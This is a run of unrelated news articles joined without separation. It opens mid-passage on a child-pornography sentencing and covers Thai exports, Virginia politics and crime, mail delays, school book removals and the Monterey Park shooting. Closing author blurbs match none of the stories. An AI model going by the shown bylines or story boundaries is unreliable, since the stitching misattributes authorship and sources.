As Derics father was molested by a man as a young child, Derics parents believed that being sexually abused by a woman would ensure Deric identified as a heterosexual, OGrady said. The attorney added that Peacock told a clinical psychologist who evaluated him that his first exposure to child pornography was mother and son depictions, which he was drawn to because it reminded him of the abuse he experienced from his mother.
BANGKOK, Jan. 24 (Xinhua) -- Thailand's exports declined for the third month in a row in December 2022 as the economic slowdown continued to impact its trading partners, data showed Tuesday.

Exports, a main driver of the country's economic growth, fell 14.6 percent in December from a year earlier to 21.72 billion U.S. dollars, according to data released by the country's Ministry of Commerce.

In 2022, the country's export value reached a new high of 287.07 billion U.S. dollars, up 5.5 percent year on year, beating the ministry's target of 4 percent, Commerce Minister Jurin Laksanavisit told a news conference.

Imports climbed 13.6 percent to 303.19 billion U.S. dollars last year, resulting in a trade deficit of 16.12 billion U.S. dollars.

The ministry is targeting an annual export growth of 1 percent to 2 percent this year, Jurin said, citing negative factors such as the slowing global economy, particularly economies of the country's major trading partners, to weigh on exports. 
Gov. Glenn Youngkins $1 billion tax relief program passed the Republican-controlled House of Delegates on Tuesday, while the governor continued campaigning for measures that now face a tougher ride with the Democratic majority in the state Senate.

The House passed both the individual income tax measures, a cut in corporate income taxes and a deduction targeted at small business.

Virginians are still overtaxed, they deserve to keep more of their hard-earned paychecks and todays significant move by the House of Delegates means Virginians are one step closer to additional relief, Youngkin said in a statement.

Youngkins program calls for cutting the top rate for individual income taxes from 5.75% to 5.5%, while boosting the standard deduction from $8,000 to $9,000 for single filers and from $16,000 to $18,000 for joint returns.

His business tax relief includes cutting the corporate income tax rate from 6% to 5% and creating a 10% credit targeted for small business  a feature Youngkin stressed earlier Tuesday in a speech at the National Federation of Independent Business.

When we see people moving away, they are voting with their feet, he told the small business-oriented group.

Weve got to cut the tax burden, he said.

Youngkin has repeatedly said tackling Virginias high cost of living is a top priority. More people move out of the state than move in, often headed for lower- or no-income tax states to the South, which Youngkin has repeatedly said is one of his top concerns  high cost of living.

Democrats say the state has too many unmet needs the $1 billion program could address.

They include some $20 billion in school construction needs and state school staffing standards that have not been fully funded since the Great Recession, Del. Sally Hudson, D-Charlottesville, told the House during a muted debate on the corporate tax cuts.

House Majority Leader Terry Kilgore, R-Scott, said: We want to give money back to taxpayers, it is not our money, it is theirs.

Youngkin says the states projected $3.6 billion surplus and projections of even larger future surpluses mean Virginia can afford tax relief and still have resources needed to make critical investments.

Senate bills that would implement the relief program are pending before the Senate Finance Committee, with its 11-5 Democratic majority, and are on its agenda for Wednesday.

The House bills must still go before that committee, as well.
Myrna Morrissey asked a Roanoke judge on Monday to recuse himself from presiding over a hearing on protective orders that her estranged husband, Sen. Joe Morrissey, D-Richmond, had won on an emergency basis against her and her boyfriend over alleged abuse of one of their children.

Ms. Morrissey also asked the Virginia Supreme Court to reconsider its decision last week to appoint Judge Frank W. Rogers III, who sits in the Roanoke Juvenile and Domestic Relations District Court, to preside over the case. The court had appointed Rogers to the case after six judges in the Chesterfield County Juvenile and Domestic Relations District Court recused themselves. She asked the court to reconsider its decision and appoint a retired judge in his place.

Last week, Rogers extended emergency protective orders against Myrna Morrissey and her boyfriend. As part of the preliminary protective order, he gave her husband possession of the house where they were living in Chesterfield and prevented her from seeing their three children or having any contact with them. After reviewing competing requests and without a hearing, Rogers granted two preliminary protective orders Morrissey sought and denied one that his estranged wife sought.

With a hearing scheduled on Friday in Chesterfield JDR Court, Ms. Morrissey argued that Rogers should step down from the case because of her husbands influence on the election of state judges as a member of the Virginia Senate Judiciary Committee. Rogers was a candidate for a circuit court judgeship in 2020, with Morrisseys support, but lawmakers elected former Del. Onzlee Ware, D-Roanoke, after a heated battle in the General Assembly.

In the current case, due to the Fathers position, self-stated ability to influence the judiciary, his history of influencing the tenure and position of judges on the bench, and the history and current recusals of entire benches of actively sitting judges, it is necessary for the judge for this case to be someone who is as removed as possible from the Fathers judicial influence, Ms. Morrisseys motion states in her request to Rogers to recuse himself.

Ms. Morrissey, in the motion filed Monday afternoon in the Chesterfield court, called for appointment of a retired judge, such as Judge Alfreda Talton-Harris, who she said had ruled on child support arrangements for the Morrisseys on Dec. 1. The Morrisseys, who wed in 2016, separated in late 2019. Appointment of a retired judge is the only way to avoid the appearance of impropriety or undue influence by the Father, the motion states. A currently sitting judge, who will necessarily come up for reappointment, and who may have future hopes of elevating to another bench, cannot provide the impartiality of the judiciary required.

Ms. Morrissey is represented by two lawyers: Mary Elizabeth White of Fredericksburg and Darcey Geissler of Fairfax County. They served both motions to Morrisseys lawyer, Robert L. Isaacs, of Henrico County. Isaacs could not immediately be reached for comment.

The marital battle erupted publicly less than two weeks ago, when Morrissey said he discovered that his son, now 5, had what he alleged were welts on his buttocks from being whipped with a belt by his mothers boyfriend for being disrespectful and refusing to apologize. The senator, who had been swimming with his children at The Jefferson Hotel in Richmond, called Richmond police, who examined the boy and called Chesterfield police. Chesterfield police documented physical evidence with a forensic photographer and opened an investigation.

But Myrna Morrissey said she was allowed to pick up her children the next morning. That night, she posted an account on Instagram that alleged a series of marital infidelities and mistreatment by her husband.

Joe Morrissey responded by issuing a statement alleging the abuse of the child, which his wife called completely false in an interview with the Richmond Times-Dispatch. The next day, Morrissey sought and received emergency protective orders against his wife and her boyfriend from a Chesterfield magistrate. Rogers extended the orders on Jan. 17, while denying one Myrna Morrissey sought, pending a hearing in Chesterfield on Jan. 27.

In a new series of posts on Instagram on Sunday night, Ms. Morrissey wrote that she and her husband both appeared at Chesterfield juvenile court early on Jan. 17, but said she was told that no judge would be available to hear the case that day. She said court staff told her they hadnt located a judge yet and would hold a hearing the next day if one werent found.

Funny thing, Joe left before I did, she wrote on Sunday. Somehow HE got HIS hearing but I did not.

Ms. Morrissey said Chesterfield Child Protective Services informed her hours later that a judge had granted her husbands petitions and denied hers. No hearing. No notice. At least not for me, she wrote. But Senator Morrissey got what he asked for. Just as he always says.

She asserted that the preliminary protective orders issued against her and her boyfriend were based on my husbands lies. ...The events he alleges NEVER happened!

Ms. Morrissey said her three children did not corroborate the allegations in interviews conducted by Child Protective Services.

She said a photo of their sons bared buttocks showed a rash  not welts or bruises. The only photo of my child shows exactly what occurred  a young child developed a rash after being placed and left in Pull-Ups and then a wet bathing suit while in Joe Morrisseys care, she wrote. He puts our five-year-old son in PULL UPS when there is no need!

Worse than that, the judge removed me from the house that the children and I lived in WITHOUT [Morrissey], she added. He has now tried to block me from my childrens schools with the same allegations, and he did it with the same piece of paper obtained with his lies!

In the last of three posts on Sunday, Ms. Morrissey focused on her husbands political influence on the legal process.

He always told me how much power he has, and how he controls the legal process, she said.

I hope and pray that this Friday I will encounter a judge who is not under his influence and who will make the right decision, Ms. Morrissey wrote, but I am afraid of his influence.

PHOTOS: Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey Joe Morrissey
The Roanoke man whose jury trial ended with a murder conviction last fall has been sentenced to life in prison.

Todd Emmanuel Manns, 37, was charged with fatally shooting Taniko Belt, 46, outside her apartment in northwest Roanoke on the night of May 2, 2021.

During Manns jury trial in October, attorneys said Belt and Manns dated for about a year before breaking up in January 2021. Four months later, first responders found Belt with gunshot wounds in her crashed car on Peters Creek Road.

Police oficers who testified during the trial said they found evidence of a shooting outside the Cove at Peters Creek apartments on Panorama Avenue Northwest, plus bullet holes in Belts crashed vehicle.

Manns was arrested at a Roanoke probation office five days later. In the car that brought him there, police found a 9mm handgun. A forensic scientist testified in October that spent cartridges found in the Cove apartments parking lot matched that handgun.

Manns was sentenced Monday to life in prison for first-degree murder, plus a mandatory minimum of three years for using a firearm in the commission of murder, Assistant Commonwealths Attorney Jack Patterson said Tuesday.

Manns did not testify during his jury trial, but Patterson said he did address the court on Monday.

He said that he loved Taniko Belt, and he did not commit these heinous acts, Patterson said, adding that the prosecution feels confident the jury reached the appropriate verdict.

Patterson said he thought Manns sentence was fair, considering both the jurys verdict in October and Manns prior criminal record.

According to Virginias online court case information system, Manns was convicted and sentenced in Roanoke in 2004 for robbery, abduction, carjacking and eluding charges.

Manns continued to be held Tuesday at the Roanoke City Jail.
PULASKI  Authorities have identified the woman whose body was recovered from the New River Saturday.

Jamie Leigh Frazier, 25, of Dublin died from gunshot wounds, the Pulaski County Sheriffs Office said Tuesday.

The medical examiner has determined her death to be a homicide, the sheriffs office said in a press release. This is an ongoing investigation and no further information will be released at this time.

Fraziers body was pulled from the river along the 4000 block of Clarks Ferry Road, along with other items of evidentiary value, the sheriffs officer reported Saturday.

The body of Fraziers boyfriend, Johnny Raymond Thomas, 52, of Pulaski, was recovered from the river on Jan. 16.

The sheriffs office has said that Frazier and Thomas were last seen alive together on Dec. 14 and that both bodies were slain and disposed of in the river.

Four Draper residents have been arrested and charged with crimes related to Frazier and Thomas deaths.

Mark David Weiss, 52, has been charged with two counts of second-degree murder along with felonious firearm use, arson, concealing a dead body and destruction of evidence. He is being held at the New River Valley Regional Jail without bond.

Terrance Wade Edwards, 57, Ashley Nicole Edwards, 36, and Nolan Michael Neil, 18, have been charged with being accessories to the double homicide. All three are also charged with destruction of evidence.

Additionally, Terrance Edwards has been charged with arson, and Neil has been charged with arson and concealing a dead body.
What the heck is going on with mail delivery in the Roanoke region?

Linda Rood and many others in these parts are wondering. Lately theyve noticed regular deliveries have been spotty, at best.

Rood lives in the Mountain View Terrace neighborhood, off Memorial Avenue in the citys southwest quadrant. Most days, she gets no mail deliveries, despite a federal law requiring the United States Postal Service deliver six days per week. On other occasions, Rood gets a big pile.

Some days, no mail arrives at her home even after the U.S. Postal Services free email notification service (known as Informed Delivery) has told Rood to expect some, and forwarded her photos of whats coming. Those pieces often dont arrive until days later, she said.

Marvin Harrison, who lives next to Rood on Oxford Avenue, said this has been happening for months and months.

Itll come some days, and it will be here at 9 a.m. in the morning, and then two to three days will go by and theyll deliver at 8 p.m. at night, Harrison told me.

Ive been collecting similar complaints about spotty mail deliveries around Roanoke since Dianne Prout of Bonsack emailed me Oct. 4.

At that point, some residents of the Summerfield community of eastern Roanoke County had not received mail since Sept. 29, Prout said. The Postal Service was delivering packages  but not letters and bills to her street  Prout added.

The next complaint I heard about non-deliveries was across town in the citys southwest quadrant. It was from Bill Hackworth, former city attorney for Roanoke.

Since Friday, November 25, our neighborhood has only received mail three out of nine delivery days, Hackworth wrote on Dec. 6. No mail delivered here again today.

More recently, its happened in Grandin Court where I live. On Jan. 11, our box was crammed with mail. At my next-door neighbors it was the same story. Both of us had received nothing for almost a week.

Thursday, I visited the Raleigh Court Post Office and waited in line to ask about it. I didnt identify myself as an employee of The Roanoke Times.

Im here to find out why my mail is arriving in large batches, I told the woman behind the counter. Like, itll go three or four days and we wont get anything, and then well get a whole pile of mail. Its happening to my neighbors, too. Whats the problem?

The woman answered, Because were short-handed.

Do you know when this is going to end? I asked. She replied No. One customer in line behind me answered sarcastically, Probably in five years.

Later that afternoon, I posted an inquiry on a local Facebook group, Roanoke Checkpoint, Road Conditions, Hazards, Crimes, Lost/Stolen. As of Monday morning, it had attracted more than 60 comments from residents in all four of Roanokes quadrants, and from people in Roanoke, Bedford and Franklin counties as well.

Here are a few:

Grandin Rd post office will not answer phone, Ayme Gierchak replied. We have been 4 days with no mail and when the mail truck is in the neighborhood we have seen it as late at 7:30 pm.

We get mail about 2 times a week, replied Karrie Dawn Sanford, who lives in northeast Roanoke between Williamson and Plantation roads. Our carrier said its due to staffing and the amount of packages as they come first, then mail and magazines.

It seems that they may forgo some routes some days if there isnt a lot of mail for that route, especially if theyre short staffed, replied Daniel Ralph of Vinton. Ive had days where we do not see the mail carrier at all through our neighborhood.

I live in [northeast Roanoke] this happens to us all the time, wrote Leanor Bond Williams.  I called the postmaster and he said theyre short of help. Like I got my internet bill [Jan. 19] it was due Jan 3.

We received mail 2 out of 6 days one week. I complained. Got a BS answer, wrote Martin Morrison of Round Hill in Northwest Roanoke. I had a customer send me a check last year, didnt get it, kept fussing at the customer, he kept saying the check was mailed. It showed up 5 weeks later. Yes it was postmarked when he said it was.

Some people, such as Paul Giordano of southwest Roanoke, opined that the Postal Service should curtail deliveries to five days per week. But that would violate the Postal Service Reform Act, which Congress approved last year.

The bipartisan law, which President Joe Biden signed April 6, requires six-day per week deliveries except under emergencies such as hurricanes and blizzards. One of the lawmakers who voted for it was Sen. Tim Kaine, D-Va.

Our office has heard from many Virginians across the Commonwealth, including in Roanoke, about mail delays and concerns with the U.S. Postal Service, a spokesperson for his Kaine told me.

Meanwhile, First Class postage increased from 58 to 60 cents in January 2022. This month, it increased again to 63 cents. It appears delivery service has worsened in the wake of those price increases.

On the Facebook post, some people replied they didnt care if the Postal Service didnt deliver six days per week. But sometimes, delayed deliveries have real-world consequences.

For example, consider Suzy Sciapli of Raleigh Court. She said she mailed her rent check Jan. 1 (a federal holiday). When it hadnt made it to her landlord by Jan. 16, Sciapli paid her bank $35 to cancel the apparently lost check, and she wrote another.

Earlier, Sciapli noted, she hadnt gotten [Decembers] water bill so I just started paperless auto pay for all bills that I can do it with.

Last week I sent questions regarding this matter to Philip Bogenberger, a Postal Service spokesman. Here they are:

How many complaints of this nature from Roanoke area customers has USPS received since Oct. 1?

What is the cause?

Is USPS doing anything to alleviate it? If so, please share with me what USPS is doing?

Is this problem confined to Roanoke? Or Western Virginia? Or the East? Or is it a national problem?

How many job openings does USPS have in the Roanoke metro area?

Bogenberger replied, but he ignored most of those questions. One unaddressed one was how many missed delivery complaints the Postal Service has received from the Roanoke area since October. He did say they are trying to fill 20 positions here.

Most post offices are adequately staffed and delivery routes are covered in the Roanoke area, Bogenberger wrote back. We have contingency plans when employees are on leave. Still, staffing challenges can arise, which has resulted in brief periods of sporadic mail delivery on a few routes. We thank customers for their continued support and understanding.

Bogenberger said job candidates can apply online at usps.com/careers, or apply in person at a hiring fair. The next one, he added, is Wednesday, Jan. 25, from 10 a.m. to 2 p.m., at Virginia Career Works, 3601 Thirlane Road, Ste. 2.

Maybe that will help someone get a job, but its unclear whether that will alleviate recent delivery problems. Thats because USPS is cutting employees, rather than adding them.

At a speech in July to the American Enterprise Institute, postmaster Louis DeJoy said the Postal Service expects some 200,000 USPS employees to retire in the next several years, and that the organization expected to fill 150,000 of those positions.

Thats a net reduction of 50,000 employees, all through attrition. (At the end of 2021, the Postal Service had 517,000 employees.)

Right now, to get to break even, I think we may need to get 50,000 people out of the organization, DeJoy was quoted saying in Government Executive, a daily newsletter that covers the federal governments departments and agencies.

How is a 10% reduction in the workforce going to solve postal-delivery problems in Roanoke?
Montgomery County officials want to talk with leaders in Christiansburg and Blacksburg about the future of school resource officers.

The countys administration will also prepare a plan showing how the locality could maintain a regular SRO presence in the town schools.

Those were among the goals shared Monday night after the countys Board of Supervisors discussed the ongoing SRO situation with the public school system.

The discussion was in response to a recent move from the Christiansburg Town Council, which earlier this month approved a plan to end its funding of three SRO jobs in town schools at the start of the fiscal year that begins July 1.

Although Christiansburg officials say that they are open to re-addressing the matter, county leaders voiced surprise at the decision. Board of Supervisors Chairwoman Sherri Blevins noted the timing of the decision, which she recently said came on the heels of the recent school shooting incident in Newport News.

Blevins was particularly vocal about the issue during the discussion Monday night and even later apologized for raising her voice during her comments. She said it just happens to be a topic she has long been passionate about.

Blevins said she fought to get SROs at Falling Branch Branch Elementary in Christiansburg.

The board chairwoman, long before she was elected to office several years ago, was among the parents who successfully pushed for an existing park and ride lot just off the U.S. 460 and Roanoke Street interchange to be moved farther away from Falling Branch Elementary. The proximity of the lot to the schools had led to concerns among parents over the students safety.

Blevins is among the supervisors who said shed like to soon find a solution on the ongoing situation in Christiansburg.

I would like to collaborate with everyone [and say] that we will do what is best to serve our citizens, and we will keep our citizens safe, she said. I do believe this board is committed to finding a way. We will not let our citizens down.

Christiansburg officials say the town councils recent decision was prompted by the countys previous denial of a town request for reimbursement of the three SRO positions. The decision by the town council narrowly passed 4-3, with town Mayor Mike Barber issuing the decisive vote.

Christiansburg provides $265,000 annually in salaries and benefits for the three SRO jobs, according to figures provided by the locality. Town staff said that funding doesnt include expenses such as the vehicles, uniform, equipment and training.

Barber said the issue is one of financial fairness, especially when taking into consideration all the contributions Christiansburg has made to the county over the years.

The mayor, in a recent letter to Blevins and her counterpart on the Montgomery County School Board, spoke about the direct revenue contributions the town makes to the county. One of his points was how the county has generated over $200 million from taxes within Christiansburg over the past six years.

Another point Barber referenced was a decision from supervisors this past summer to provide $150,000 for two additional SROs in the county schools outside of Christiansburg and Blacksburg.

The move was touted by county Sheriff Hank Partin, who said at the time that it would ensure a police presence at each of those schools at all times.

Partin has said putting an SRO in each of the schools outside the two towns helps with response as it generally takes longer for police to reach the schools outside the two towns due to the distance.

Supervisor Steve Fijalkowski reiterated some of those points Monday.

The whole purpose was to cover the schools that were out away from the two towns. Each town has its own police department, and theyre able to respond much quicker, he said. We cant respond that quickly in the county because its a lot more square miles to cover.

Blevins said the reasoning behind her boards previous denial of Christiansburgs request was based on discussions the elected body had with the top law enforcement officials from the county and the two towns.

The sheriff and the [town police] chiefs agreed that the current system under which the towns provide officers in MCPS facilities in the towns, while the sheriff provides deputies in the MCPS facilities in the unincorporated areas of the county, was working well, Blevins wrote in an October letter.

Despite the recent case, Barber has voiced confidence that the three town SRO jobs at the root of the issue will continue to be filled after July, regardless of exactly what decisions are made before then.

While he called on his board to talk with town officials to go over the recent matter, Supervisor Todd King said he believes the county should pay to ensure an SRO presence in all schools.

I think we should pay for SROs. Its part of the school system. We should put them in the schools, King said.

Others echoed some of Kings points.

I am opposed to paying for town officers, but if it comes down to it, I would be willing to pay for deputies in the schools, Fijalkowski said.

Each of the middle and high schools across Montgomery County has an SRO assigned to them, according to information previously shared.

Not all the elementary schools in Blacksburg and Christiansburg have an SRO on their campuses at all times, but that doesnt mean some of them dont have any coverage, at all. Many of the officers in the towns are assigned to more than one school, school officials previously said.

In Blacksburg, the townwhen its at full staffprovides approximately $428,000 annually on salary, benefits and equipment costs for school resource officers, according to figures provided by Town Manager Marc Verniel.

The Blacksburg Police Department has a total of four dedicated school resource officers, Verniel wrote in an email. We have one in Blacksburg High School and one in Blacksburg Middle School. We also have two officers who rotate between the four elementary schools.

Blacksburgs two dedicated elementary school SRO jobs are currently vacant, but the town is filling those roles with regular patrol officers who stop at the campuses as part of their normal shift, Verniel said.
Democrat James Harder is the latest candidate for a new state House seat representing parts of Montgomery and Roanoke counties, where Republican and now Democratic voters will decide intraparty races.

Harder, who manages economic development grants for Virginia Techs Department of Computer Science, announced his 41st District candidacy last week, joining fellow Blacksburg resident Lily Franklin in a race for the Democratic Party nomination.

This campaign will be focused on the values that matter to all citizens across the Roanoke and New River Valleys, Harder said in the announcement. Southwest Virginia needs a loud voice in Richmond and I intend to deliver for them.

Harder, 40, said values include protecting the natural environment from projects like the Mountain Valley Pipeline, ensuring that the state appropriately funds public schools and gives teachers raises, as well as fighting for the growing economies of the district so that everyone has access to a good-paying job.

Harder is the director of an entrepreneurship hub called CS/root, that directs economic development grants that encourage technology focused startups in Southwest Virginia, according to the announcement.

He is the grandson of former Democratic Del. Joan Munford, who represented the district including Blacksburg for 11 years until 1993.

He ran for the state House in 2013, losing out to Republican Del. Joseph Yost, and since then held an appointed term on the state Board of Forestry.

Harder and Franklin, who is former chief of staff for Del. Sam Rasoul, D-Roanoke, will compete for votes ahead of a Democratic Party primary election to be held June 20.

Meanwhile, Republicans Chris Obenshain and Lowell Bowman are also declared running for the district. Details on a Republican primary election process have yet to be publicized.

Obenshain is a prosecutor in Montgomery County, and cousin of Sen. Mark Obenshain, R-Rockingham.

Bowman, who owns several businesses and also farms, ran for state House previously in 2021, losing to Del. Marie March, R-Floyd, in a Republican primary.

The new 41st district encompasses eastern Montgomery County and western Roanoke County, with about 80% of the roughly 75,000 voters residing in Montgomery County.

Winners of the party contests will advance to the general election in November. Whoever wins in November will serve a two-year term in the House of Delegates.
Democratic legislators are kick starting an effort to get a state constitutional amendment that would enshrine abortion access in Virginia's state code.

Constitutional amendments require the bills to pass the legislature two years in a row with an election in the House of Delegates in between. Than the amendment would go to voters in a state referendum.

With Republicans controlling the House of Delegates and Democrats controlling the Senate, movement on the process is to be determined. Bills on abortion access tend to fall along partisan lines, with most Republicans in opposition.

Should the efforts fail, Del. Charniele Herring, D-Alexandria, said at a Tuesday morning news conference, that her party wont stop trying to get it through and the next possible time a referendum could happen would be 2026.

She is carrying the bill in the House of Delegates. Sen. Jennifer McClellan, D-Richmond, and Sen. Jennifer Boysko, D-Fairfax, are chief patrons of the Senate version.

House Minority Leader Don Scott, D-Portsmouth, noted the challenging journey ahead for his colleagues to get their bill through the chamber, in which Republicans hold a 52-48 edge. In the meantime, he criticized Republicans in the House of Delegates for not yet reviewing the abortion banning-bills several have filed.

Abortion bills have so far been heard in subcommittees but none have yet to report to full floor votes.

Scott went on to echo the sentiment when the House convened at noon  accusing Republicans of not wanting to debate the contents of the bills following the election of Sen. Aaron Rouse, D-Virginia Beach. Protecting abortion access was a pillar of his campaign and he won election to a seat that was mainly held by Republicans in recent years.

Del. Nick Freitas, R-Culpeper, fired back, adding that Democrats are not championing human rights if they are supporting abortions.

I think that says something about us when we hold up as the pinnacle of rights, the ability to take an innocent human life for any reason, he said.

Current Virginia law allows abortions for any reason through the second trimester. Abortions that occur later in the pregnancy are allowed if three physicians have signed off on it.

Freitas added:  I too want to have the debate. I do want to discuss the bills that are coming before this body.

House Speaker Todd Gilbert, R-Shenandoah, issued a news release asserting that the proposed amendment would "remove all limits on elective abortion."

But the legislation indicates that only compelling state interests can prevent a person from having an abortion should the amendment be included in Virginias constitution.

Earlier in the day Herring said that each pregnancy is different and that the state legislature should not prevent the decision to have an abortion.

The choice to have an abortion should never be politicized. It is each person's decision based on what's best for them, she said. Politicians should not be involved in someone's personal medical decisions about pregnancy.

INTERACTIVES: Abortion data for Virginia and the U.S.
MADISON  The Madison County School Board recently removed 22 books from the high school library in enacting a policy last fall against sexually explicit content.

The banned titles included Toni Morrisons The Bluest Eye, The Handmaids Tale by Margaret Atwood and Stephen Kings tale of Pennywise the clown, It.

Board member Christopher Wingate proposed the policy, an extension of a mandate passed down the Governor Glenn Youngkin. In April, Youngkin signed a bill requiring the Virginia Department of Education to develop model policies to ensure parents are notified if students are being taught sexually explicit materials in the classroom. The bill requires local school boards to adopt the policies based on the model policies minimum requirements.

The model state policy, vetted through a public comment period which ended last month, requires that parents are notified at least 30 days in advance of any instructional materials with sexually explicit content being taught in the classroom. Parents will then be able to review the materials and principals will maintain a current list of the materials on the schools website by grade and subject.

The Madison County School Board unanimously approved its own policy in November and created separate rules dealing specifically with library materials, based on state law definition of sexually explicit content. Virginia Code defines it as any description of or any picture, photograph, drawing, motion picture film, digital image or similar visual representation depicting sexual bestiality, a lewd exhibition of nuditysexual excitement, sexual conductor sadomasochistic abusecoprophilia, urophilia, or fetishism.

Residents of the small rural county north of Charlottesville may now request the school board to examine content they believe is sexually explicit. The board would then make that determination and promptly remove library materials found to have explicit content and dispose of them.

The superintendent will maintain a list of the materials removed from the system and that list will be available upon request. As for the acquisition of new library materials, the titles and authors of new acquisitions will be posted to the library website for 12 months from the date of delivery. Parents can then review those materials to determine if they need to be removed.

Parents have a right and responsibility to look at the books and let us know if they think there are issues, Wingate said.

The board voted in December to remove specific titles from the high school library brought up during the discussion of the policy.

These included: The Perks of Being a Wallflower by Stephen Chbosky; Tar Baby by Toni Morrison; The Tale of the BodyThief, by Anne Rice; Snow Falling on Cedars by David Guterson; and Empire of Thrones, by Sarah Maas. A list of 26 books was also made available including reasons for removal requests and how often each has been checked out in the past two years. The books had been pulled from the library, save for a few already lost.

Earlier this month, nearly two dozen more books were officially removed from the Madison County High School Library.

They are: The Handmaids Tale, The Absolutely True Diary of a Part-Time Indian, Shatter Me, Toni Morrisons The Bluest Eye, Sula and Love; Ann Rices Interview with a Vampire, Steven Kings It, Bag of Bones and 11/22/63: A Novel and Furyborn. Also on the list is Empire of Thrones.

Abstaining from the vote, school board member Karen Allen said she had been researching book banning and censoring, which has become an issue throughout the nation. She said had no qualms about removing anything with sexual violence, but said some of the selections are borderline.

She also said the General Assembly is looking at a bill that would allow certain books to be segregated to specific sections in the library.

Im in a quandary, she said. I do agree on some, but dont agree on others.

Wingate said the excerpts he had shared with school board members from some of the books in question were undoubtedly sexually explicit as defined in state law.

There are other books Im not crazy about, but these meet the definition, he said. If made into a movie they would be NC-17 or R.

He said high school students arent admitted into theaters to watch such movies and thus shouldnt be able to peruse the same content in their school library.

Its about trying to protect children, he said.
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LOS ANGELES, Jan. 23 (Xinhua) -- Dozens of politicians from California pointed their fingers at the gun industry on Monday, calling for nationwide reform to contain gun violence after a fatal mass shooting on Saturday left 11 dead and nine others injured in Southern California.

"Every country struggles with mental illness. But the USA has a gun homicide rate 26 TIMES HIGHER than our peers. The difference is how the @GOP have bowed down to the gun industry. The difference is how easy it is to access to guns and high capacity magazines in our country," California Governor Gavin Newsom tweeted Monday after touring the city of Monterey Park, 16 km east of Los Angeles downtown.

A gunman opened fire at a crowded dance hall in the small city, which has a majority Asian American population, at 10:22 p.m. local time on Saturday (0422 GMT Sunday) when it was hosting an event to celebrate the countdown to the Chinese Lunar New Year.

The suspect, later identified as 72-year-old Huu Can Tran, fled the scene and traveled to nearby Alhambra, where he allegedly entered a second dance hall before being disarmed there that same night.

Tran was found dead on Sunday from a self-inflicted gunshot wound inside a van in Torrance, about 50 km southwest of Monterey Park.

"Spent time in Monterey Park today meeting with leaders and those impacted by this terrible tragedy. The strength of this community is incredible," Newsom tweeted Sunday. "No other country in the world is terrorized by this constant stream of gun violence. We need real gun reform at a national level."

Alex Padilla, a junior U.S. Senator from California since 2021, echoed Newsom's remarks. He noted that the Saturday tragedy should remind people of "the epidemic of gun violence in America."

"We do take it as a reminder of the urgency with which we need to strengthen our gun safety laws across the country," said the Senator, who served more than seven years on the Los Angeles City Council earlier, when he visited the Langley Senior Center in Monterey Park, which is being used as a crisis response and resource center for the victims and their families.

There were 641 mass shootings in the United States in 2022, the second-highest number behind the 690 that happened in 2021, according to the Gun Violence Archive, a website that tracks shootings nationwide.

The Gun Violence Archive defines a mass shooting as four or more people shot or killed, not including the shooter.

Padilla said California's district gun control laws could not prevent fatal shooting incidents since other states in the country have much looser measures against gun violence.

It is still unclear two days after the fatal incident how the shooter could access a "magazine-fed semi-automatic assault pistol," which is illegal in California and was found at the scene, according to Los Angeles County Sheriff Robert Luna.

"California has some district laws and protections of any state in the nation ... But when there's a patchwork of laws and protections to various across states, there are vulnerabilities that can impact any community in the country," he said, urging a long-term solution instead of "just an immediate aftermath of a tragedy."

With its restrictive state laws, California has among the lowest firearms mortality rates in the United States, according to the Centers for Disease Control and Prevention (CDC).

The most populous state in the country ranked seventh lowest nationwide, with 8.5 deaths per 100,000 people in 2020 - well below the nationwide average of 13.7.

The CDC's data showed that in 2020 Texas posted a rate of 14.2, Georgia a rate of 17.7, while the highest rate was in Mississippi, at 28.6 deaths per 100,000 people.

Judy Chu, U.S. representative for California's 28th congressional district, where Monterey Park is located, made an emotional interview with local media on Monday morning when she visited the Langley Senior Center, saying she "was just stunned and shocked and can't even know what to begin to think about this tragedy" in a city where she has lived for 37 years.

Chu was elected to the city council of Monterey Park in 1988. In 1989, she became mayor of the city and served until 1994.

She recalled the challenges facing immigrants to the city, including the so-called "English Only Movement" in the 1980s, when "many immigrants moved in, and the old-time residents didn't like it and resented it."

"That's why I ran for city council to bring the people together to bring about an appreciation of diversity. And I am proud of how far we've come since then... That's why we had such an incredible Lunar New Year celebration, which is the largest in the Southland," she said, noting the hard-working people in the city deserved a room to gather in peace.

She said the gun industry and its lobby groups should be blamed for the mass shooting.

"We have a total proliferation of guns in this society, and it's unlike anything you see in any other country. That's because the NRA has such a strong lobby, and the NRA represents the gun manufacturers, not the regular people," she noted.

The NRA, or the National Rifle Association of America, is a very influential gun rights advocacy group. It is also among the most influential advocacy groups in U.S. politics.

Chu said that gun control bills introduced by lawmakers always required universal background checks for gun buyers; however, the bills were always overturned by the NRA because "this big, gigantic lobby with all this money, the NRA is able to control things. And it gives lots of donations to certain elected officials who vote down any kind of gun bill."

She hoped the mass shooting could result in a greater focus on gun violence and push Congress to pass more gun control bills in the coming years.

Besides the governor, the Senator and the Congresswoman, dozens of prominent Californian politicians, from state lawmakers in Sacramento to elected officials in Southern California, are calling for stricter gun control in the wake of the mass shooting.

The California Asian American and Pacific Islander Caucus held a vigil on the steps of the Capitol on Monday night in honor of the victims.

The caucus chair said people should expect more action to address gun violence, such as more district background checks.

"The fact of the matter is that this issue is about the senseless attacks on communities with respect to firearms," caucus chair and State Assemblyman Evan Lowe told ABC 10 news channel.

Only two days after the dance hall shooting, a man opened fire on people at two separate locations in Half Moon Bay, Northern California, on Monday afternoon, killing seven and injuring one, according to local police. 
CALmatters is a public interest journalism venture committed to explaining how California's state Capitol works and why it matters. Dan Walters has been a journalist for nearly 60 years, spending all but a few of those years working for California newspapers.
Dalondo Moultrie is the assistant managing editor of the Seguin Gazette. You can e-mail him at dalondo.moultrie@seguingazette.com .
